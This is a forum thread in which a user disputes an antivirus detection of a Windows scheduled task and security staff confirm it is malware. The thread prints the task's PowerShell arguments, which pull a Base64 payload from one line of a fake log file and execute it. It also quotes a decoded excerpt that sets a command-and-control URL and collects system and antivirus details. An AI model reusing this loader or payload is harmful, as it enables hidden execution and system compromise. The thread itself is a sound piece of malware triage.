.vbs run task (from microsoft) detected as trojan

[Peca21]

For me this looks like a normal task and vbs script that's built into windows. The VBS script itself is not detected, but the task is.

Uploaded the text file and some pictures

falsePos.txt

[Peca21]

NOTE: This task has been created on 12th of May 2022, which is the day I updated windows and also had to reinstall .NET to fix the broken update.

 

[shadowwar]

Can you please attach a copy of the task located here:

 

Trojan.VBS.TaskExecution, C:\WINDOWS\SYSTEM32\TASKS\Microsoft\Windows\NetService\Network\NetServices

 

It may have to be zipped in order to attach. 

 

i have disabled the rule for now till further investigation of the task. There is a malware that is currently misuing the vbs script using a task with the syncappserver.vbs by microsoft to decode itself and run. It hides itself in legit text files/logs and uses this vbs to decode the malware portion out of the txt file. 

A copy of the legit task would help us better to write a rule not to hit it. 

 

Thanks. 

 

 

 

Edited May 15, 2022 by shadowwar

[shadowwar]

I really dont think this is a fp. I am reenabling the rule till i get a copy of the task that shows it is. 

 

Thanks for reporting. 

[Peca21]

Here is the task file from C:\Windows\System32\Tasks\Microsoft\Windows\NetService\Network

I uploaded it as a ZIP file because it wont let me upload files without extension

NetServices.zip

[shadowwar]

This is not a fp .

 

 <Arguments>"n; $a=Get-Content "C:\Windows\logs\system-logs.txt" | Select -Index 17033;$script_decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a)); $script_block = [Scriptblock]::Create($script_decoded);Invoke-Command $script_block</Arguments>
    </Exec>
  </Actions>

 

can you zip and attach this file also?

C:\Windows\logs\system-logs.txt

 

[Peca21]

Here

 

system-logs.zip

[David H. Lipman]

There is a Base64 encoded script embedded in that, what is supposed to be just  a LOG file.

Excerpt:
 

Spoiler

scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();
$EndPointURL = "http://api.private-chatting.com/connect";
$__Version__ = "M_35";
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString();
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle);

function XF3a8JO3r5r8G([string] $str) {
    return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%")
}

function WMI([string] $class, [string] $value) {
    $val = $null;
    $results = (Get-WmiObject -Class $class) ;
    foreach ($item in $results) {
        $val = $item[$value];
        break;
    }
    if ($val -eq $null) {
        $val = [Guid]::NewGuid().ToString();
    }
    return $val;
}
function Get-HWID() {
    return (WMI 'win32_logicaldisk' "VolumeSerialNumber") 
}

function ik9hXhN11R() {
    return (WMI 'Win32_OperatingSystem' "Caption") 
}

function P9TEtu77LCNtD() {
    return (WMI 'Win32_Processor' "AddressWidth") 
}

function av_enabled([uint32]$state) {
    [byte[]] $bytes = [System.BitConverter]::GetBytes($state);
    if (($bytes[1] -eq 0x10) -or ($bytes[1] -eq 0x11)) {
        return "Enabled";
    }
    elseif (($bytes[1] -eq 0x00) -or ($bytes[1] -eq 0x01) -or ($bytes[1] -eq 0x20) -or ($bytes[1] -eq 0x21)) {
        return "Disabled";
    }
    return "Unknown";
}

 

 

[Peca21]

Well I guess it's not a false positive, deleting this stuff right now

[Porthos]

@Peca21 It needs more work do not do it on your own.

Please follow the instructions in this topic then create a new topic in our malware removal area by clicking here and a malware removal specialist will guide you in checking and cleaning your system of any threats. 

[shadowwar]

Also would help if you have any idea where you may have gotten infected from. Thanks!

[Peca21]

9 hours ago, shadowwar said:

Also would help if you have any idea where you may have gotten infected from. Thanks!

https://www.bitcoinabuse.com/reports/bc1qn6ype8u5kgj672mvsez9wz9wt9wk22tzd5vprp

[shadowwar]

Thanks!